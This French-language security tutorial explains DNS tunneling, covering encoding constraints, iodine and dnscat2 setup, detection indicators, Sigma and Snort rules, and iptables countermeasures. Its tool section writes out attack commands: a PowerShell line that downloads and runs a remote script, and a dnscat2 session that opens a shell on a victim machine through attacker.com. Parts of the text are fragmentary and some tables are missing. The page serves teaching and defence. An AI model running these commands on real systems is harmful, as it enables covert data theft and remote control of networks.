Principes Fondamentaux
Le Protocole DNS Normal
Le DNS (Domain Name System) est le "annuaire" d'internet. Il traduit les noms lisibles (google.com) en adresses IP (142.250.185.78). Il utilise le port 53 en UDP (ou TCP pour les grandes réponses).
Pourquoi DNS est Exploité
- Le port 53 est rarement bloqué (internet briserait)
- Les requêtes DNS sont généralement autorisées même dans les réseaux très filtrés
- Le trafic DNS passe souvent sans inspection approfondie
- Fonctionne derrière les portails captifs Wi-Fi
Le Concept de Tunneling
Le tunneling consiste à encapsuler un protocole à l'intérieur d'un autre. Ici, on fait passer des données arbitraires (fichiers, commandes, sessions IP complètes) dans des requêtes et réponses DNS — un canal pensé pour autre chose.
cGFzc3dvcmQ6MTIzNDU=.malware.com. Le facteur (DNS resolver) achemine la carte sans lire le texte caché.Mécanisme Détaillé
2.1 — Infrastructure Requise
attacker.com) et configure les serveurs DNS de manière à ce que les requêtes soient acheminées vers son propre serveur NS (Name Server).
ns1.attacker.com) est déployé. Il ne répond pas avec de vraies IPs — il décode les données encodées dans les sous-domaines des requêtes et injecte des données dans les réponses.
2.2 — Flux de Communication
┌──────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ MACHINE VICTIME│ │ RÉSOLVEUR DNS │ │ SERVEUR NS ATTAQUANT│
│ (+ malware) │ │ (entreprise/FAI)│ │ ns1.attacker.com │
└────────┬─────────┘ └────────┬─────────┘ └──────────┬──────────┘
│ │ │
│ Requête DNS A │ │
│ bW90ZGVwYXNz.attacker.com│ │
│──────────────────────────▶│ │
│ │ Forward requête │
│ │─────────────────────────────▶│
│ │ │ Décode base64
│ │ │ "motdepass"
│ │ Réponse DNS │
│ │ (données encodées dans TXT)│
│ │◀─────────────────────────────│
│ Réponse reçue │ │
│ Décode la commande C2 │ │
│◀──────────────────────────│ │
NS attacker.com → ns1.attacker.com dans les registres publics, toute requête vers un sous-domaine de attacker.com arrivera sur le serveur de l'attaquant, traversant les firewalls sans alarme.Encodage & Transport des Données
3.1 — Anatomie d'une Requête DNS Malveillante
→ Décodé : "motdepass" + "kraken.pass" — paquet séquencé n°1 vers le canal C2
3.2 — Contraintes DNS et Contournements
Limite des Labels
Chaque label DNS (séparé par un point) est limité à 63 caractères. Le nom de domaine complet (FQDN) ne peut pas dépasser 253 caractères. Les données doivent être fragmentées en conséquence.
Caractères Autorisés
DNS n'accepte que [a-z0-9-] dans les labels. C'est pourquoi Base32 (qui utilise a-z2-7) est préféré à Base64 (qui utilise +/=) pour les données dans les sous-domaines.
Caching & TTL
Les résolveurs DNS cachent les réponses. Pour éviter le cache, les outils génèrent des sous-domaines uniques (avec timestamp, numéro de séquence) afin que chaque requête atteigne réellement le serveur malveillant.
3.3 — Types de Records DNS Exploités
3.4 — Exemple de Payload Encodé
Outils & Implémentations
4.1 — Exemple : Configuration iodine
# Côté serveur — démarrer le serveur iodine iodined -f 10.0.0.1 tunnel.attacker.com # Options avancées : MTU, chiffrement, encodage iodined -f -P motdepasse -m 1200 10.0.0.1 tunnel.attacker.com
# Côté client — établir le tunnel depuis la machine victime iodine -f -P motdepasse 8.8.8.8 tunnel.attacker.com # Une interface réseau virtuelle dns0 est créée # L'attaquant peut maintenant SSH à travers le tunnel DNS ssh -D 1080 user@10.0.0.1
4.2 — Exemple : dnscat2 (C2 Channel)
# === SERVEUR === ruby dnscat2.rb --dns "domain=attacker.com,host=0.0.0.0" --security=open # === CLIENT (PowerShell, machine compromise) === IEX (New-Object System.Net.WebClient).DownloadString('https://cdn/dnscat.ps1') Start-Dnscat2 -Domain attacker.com -DNSServer 8.8.8.8 # === SERVEUR — interagir avec le shell === dnscat2> session -i 1 command (victim)> shell # → Shell interactif sur la machine victime via DNS !
Détection & Indicateurs
Anomalies Statistiques
- Volume de requêtes DNS anormalement élevé vers un seul domaine
- Durée des sessions DNS inhabituellement longue
- Débit de requêtes constant (polling régulier du C2)
- Augmentation soudaine du trafic DNS out-of-hours
Analyse des Noms de Domaine
- Sous-domaines très longs (> 30 caractères)
- Haute entropie : caractères aléatoires base64/base32
- Trop de labels (points) dans le FQDN
- Caractères inhabituels ou séquences non-humaines
Indicateurs de Records
- Requêtes TXT inhabituellement fréquentes
- Records NULL (très rares en usage légitime)
- Réponses DNS volumineuses (proche de 512B / 4096B)
- Domaines avec TTL très bas (pour éviter le cache)
5.1 — Calcul d'Entropie (Méthode Shannon)
L'entropie de Shannon mesure le caractère "aléatoire" d'un texte. Un sous-domaine légitime a une faible entropie (mots lisibles), un sous-domaine encodé a une haute entropie :
mail.google.combW90ZGVwYXNzZQ==.attacker.com5.2 — Règles de Détection SIGMA / Snort
title: DNS Tunneling - Long Subdomain Detection logsource: category: dns detection: selection: # Sous-domaine plus long que 52 caractères avant le TLD dns.question.name|re: '^[a-z0-9+/=]{52,}\.' condition: selection level: high tags: - attack.exfiltration - attack.t1048.001 # MITRE ATT&CK: Exfil over DNS
# Détecter les requêtes DNS avec payload base64 long alert udp any any -> any 53 ( msg:"DNS Tunneling - Base64 Encoded Subdomain"; content:"|00 01 00 00|"; # DNS query flags pcre:"/[a-zA-Z0-9+\/]{40,}=/m"; threshold: type threshold, track by_src, count 10, seconds 60; sid:9000001; rev:1; )
5.3 — Tableau MITRE ATT&CK
Stratégies de Défense
6.1 — Configuration Réseau Recommandée
# Autoriser uniquement le DNS vers les résolveurs approuvés iptables -A OUTPUT -p udp --dport 53 -d 192.168.1.1 -j ACCEPT iptables -A OUTPUT -p udp --dport 53 -j DROP iptables -A OUTPUT -p tcp --dport 53 -j DROP # Bloquer DNS-over-HTTPS vers des serveurs non autorisés iptables -A OUTPUT -p tcp --dport 443 -d 8.8.8.8 -j DROP iptables -A OUTPUT -p tcp --dport 443 -d 1.1.1.1 -j DROP # Limiter le débit des requêtes DNS (rate limiting) iptables -A OUTPUT -p udp --dport 53 -m limit --limit 50/min -j ACCEPT
Résumé Exécutif
🎯 Vecteurs d'Attaque
- Exfiltration de données sensibles (credentials, fichiers)
- Canal Command & Control (C2) persistant
- Bypass de pare-feux et portails captifs
- Persistance même après blocage des ports applicatifs
🔍 Signaux d'Alerte
- Sous-domaines longs et haute entropie
- Volume DNS anormal vers un domaine unique
- Records TXT/NULL fréquents et volumineux
- TTL très court + requêtes régulières (polling)
🛡 Contre-mesures Clés
- DNS Firewall avec RPZ et threat intel
- Résolveurs DNS centralisés et contrôlés
- DPI sur le trafic DNS port 53
- Monitoring comportemental avec baseline